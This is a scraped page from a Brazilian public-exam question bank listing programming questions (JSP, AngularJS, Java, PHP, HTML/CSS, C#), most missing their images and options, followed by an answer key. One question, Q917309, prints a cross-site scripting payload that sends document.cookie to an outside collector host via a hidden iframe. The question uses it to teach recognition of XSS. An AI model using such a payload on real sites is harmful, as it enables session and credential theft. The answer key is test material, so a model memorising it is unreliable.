Questões de Concurso Sobre programação

Questões Discursivas

Foram encontradas 15.034 questões

Q918239 Programação

Em uma página JSP há o seguinte trecho de código:


Imagem associada para resolução da questão


Na mesma página, para exibir o conteúdo da variável nome como valor em um campo de formulário, utiliza-se a instrução

Alternativas
Q918238 Programação

Considere a página web abaixo, que utiliza o Angular JS versão 1.6.9.


Imagem associada para resolução da questão


O resultado do cálculo envolvendo as variáveis a e b é mostrado pela instrução <p>Total:<span ng-bind="a * b"></span></p> . Outra forma de realizar o mesmo procedimento é usando a instrução

Alternativas
Q918236 Programação

Coesão e acoplamento são umas das mais importantes métricas de qualidade em projetos Orientados a Objetos (OO). Considere os trechos de código Java abaixo, sabendo-se que é necessário que seja calculada a média dos rendimentos dos depósitos de valores referentes ao Fundo de Garantia por Tempo de Serviço (FGTS) de cada trabalhador e que este cálculo pode ser alterado em função de novas leis regulatórias.


Imagem associada para resolução da questão


Ao analisar os trechos de código em condições ideais, um Analista de Informática afirma que o trecho

Alternativas
Q917379 Programação
Assinale com V (verdadeiro) ou F (falso) as seguintes afirmações sobre passagem de parâmetros em linguagens de programação estruturadas.
( ) Na passagem de parâmetros por valor, o valor do parâmetro real é usado para inicializar o parâmetro formal correspondente, que, então, age como uma variável local no subprograma. ( ) Parâmetros reais permitem definir um argumento para um parâmetro específico, associando o argumento ao nome do parâmetro, em vez da posição do parâmetro na lista de parâmetros. ( ) O método de passagem de parâmetros por referência transmite um caminho de acesso, usualmente apenas um endereço, para o subprograma chamado. ( ) Na passagem de parâmetro por nome, o parâmetro real é copiado para o parâmetro formal na entrada da função e depois é copiado de volta na finalização da função.
A sequência correta de preenchimento dos parênteses, de cima para baixo, é
Alternativas
Q917309 Programação
Considere o trecho de programa PHP abaixo.
<?php setcookie('PHPSSESID', 'meu_sid'); setcookie('login', 'meu_login'); setcookie('senha', 'minha_senha');
echo $_GET['var']; ?>
Supondo que ao executar este trecho, um usuário passou como entrada:
<script>     document.write('<iframe width=1 height=1  src=http://www.coletor.com/rc.php?xss='+document.cookie.replace(//g,'')+'></iframe>') </script>
cujo objetivo é capturar os dados de cookie do site alvo e enviá-los para o site www.coletor.com
Um Técnico de TI conclui corretamente que
Alternativas
Q917302 Programação

Considere o programa Java abaixo.


Imagem associada para resolução da questão

Há um erro APENAS nas linhas
Alternativas
Q917301 Programação
Considere a interface Java declarada abaixo.
public interface NewInterface {
}
A instrução que não causará erro se colocada no corpo desta interface (entre as chaves) é:
Alternativas
Q917298 Programação
Considere a classe Java abaixo. Imagem associada para resolução da questão

Ao compilar e executar essa classe será exibido o valor
Alternativas
Q917297 Programação
Um Técnico de TI que está programando em PHP 5 orientado a objetos deseja declarar uma função (ou método) especial na classe que será executada automaticamente em 4 possíveis situações: a) quando o objeto for deslocado da memória, b) quando se atribui o valor NULL a ele, c) quando se utiliza a função unset() sobre ele ou d) quando a aplicação for finalizada. A função correta que ele deseja declarar é a
Alternativas
Q916680 Programação
Considere o excerto a seguir.
Mecanismo de reutilização de código em que novas classes são definidas a partir de classes já existentes (superclasses), herdando alguns atributos e métodos e adicionando novos recursos que as novas classes (subclasses) exigem.
Esse excerto, de programação orientada a objetos, se refere
Alternativas
Q916556 Programação
A respeito de folhas de estilo CSS e HTML, assinale a alternativa correta.
Alternativas
Q916555 Programação
A ferramenta básica do desenvolvimento web é o HTML. Entre as tags dessa ferramenta, qual é a responsável por sublinhar um texto?
Alternativas
Q915461 Programação

Considere o seguinte trecho de uma descrição WSDL de um serviço web:


Imagem associada para resolução da questão


São alternativas de código PHP ou Java que consumem corretamente o serviço Add, EXCETO:

Alternativas
Q915459 Programação

Considere o seguinte código PHP abaixo:


Imagem associada para resolução da questão


Assinale a alternativa CORRETA:

Alternativas
Q915457 Programação

Analise as proposições abaixo considerando o seguinte projeto Java:


Imagem associada para resolução da questão


I. O projeto Java possui um erro de compilação, pois a instrução Foo f = new Bar() viola a capacidade polimórfica.

II. A execução do projeto Java resultará Great na saída, pois um objeto sempre se comporta da mesma maneira independente da forma como está sendo referenciado.

III. Embora não seja explícito, a linguagem Java sempre cria um construtor padrão com todos os atributos da classe como parâmetros formais.

IV. A criação de um método com a assinatura public void y(String s) na classe Bar geraria um erro de compilação, uma vez que o método y() na classe Foo é final.


Assinale a alternativa CORRETA:

Alternativas
Q915455 Programação

Considere o seguinte shell script concurso.sh:


Imagem associada para resolução da questão


Considere a execução como “./concurso.sh 1 2 4 5”, assinale a alternativa que contém os valores a serem impressos:

Alternativas
Q915442 Programação
Existem bibliotecas de funções, procedimentos e métodos que são incorporados a uma linguagem de programação para comunicação entre threads ou entre processos e viabilizar a paralelização. Considere uma biblioteca que realize somente a criação de processos para explorar paralelismo na execução de um programa. Essa biblioteca usará:
Alternativas
Q915084 Programação
As afirmativas I referem-se a desenvolvimento web e as afirmativas II referem-se à programação orientada a objetos. Marque a única alternativa que traz as duas afirmativas INCORRETAS.
Alternativas
Q915083 Programação
Considere o texto a seguir sobre noções de linguagens de programação orientadas objetos:
Uma __I___ é uma estrutura que abstrai um conjunto de objetos com características similares, ou seja, descreve um grupo de objetos com propriedades semelhantes, com o mesmo comportamento, os mesmos relacionamentos com outros objetos e a mesma semântica. __II__ indicam as possíveis informações armazenadas por um objeto, representando o estado de cada objeto. __III__ são procedimentos que formam os comportamentos e serviços oferecidos por objetos de uma classe. Cada __IV__ é dito ser uma instância.
Marque a alternativa que preenche CORRETAMENTE as lacunas I, II, III e IV.
Alternativas
Q914442 Programação
No C#, a classe FileStream permite operações sobre arquivos, tais como leitura e gravação, dentre outras. Na criação de um objeto dessa classe, é preciso fornecer um valor para o parâmetro FileMode, que define como o arquivo é aberto. Assinale a opção que não é uma escolha válida para esse parâmetro.
Alternativas
Respostas
8281: C
8282: B
8283: B
8284: E
8285: D
8286: C
8287: D
8288: C
8289: B
8290: B
8291: C
8292: E
8293: A
8294: B
8295: A
8296: C
8297: C
8298: C
8299: B
8300: D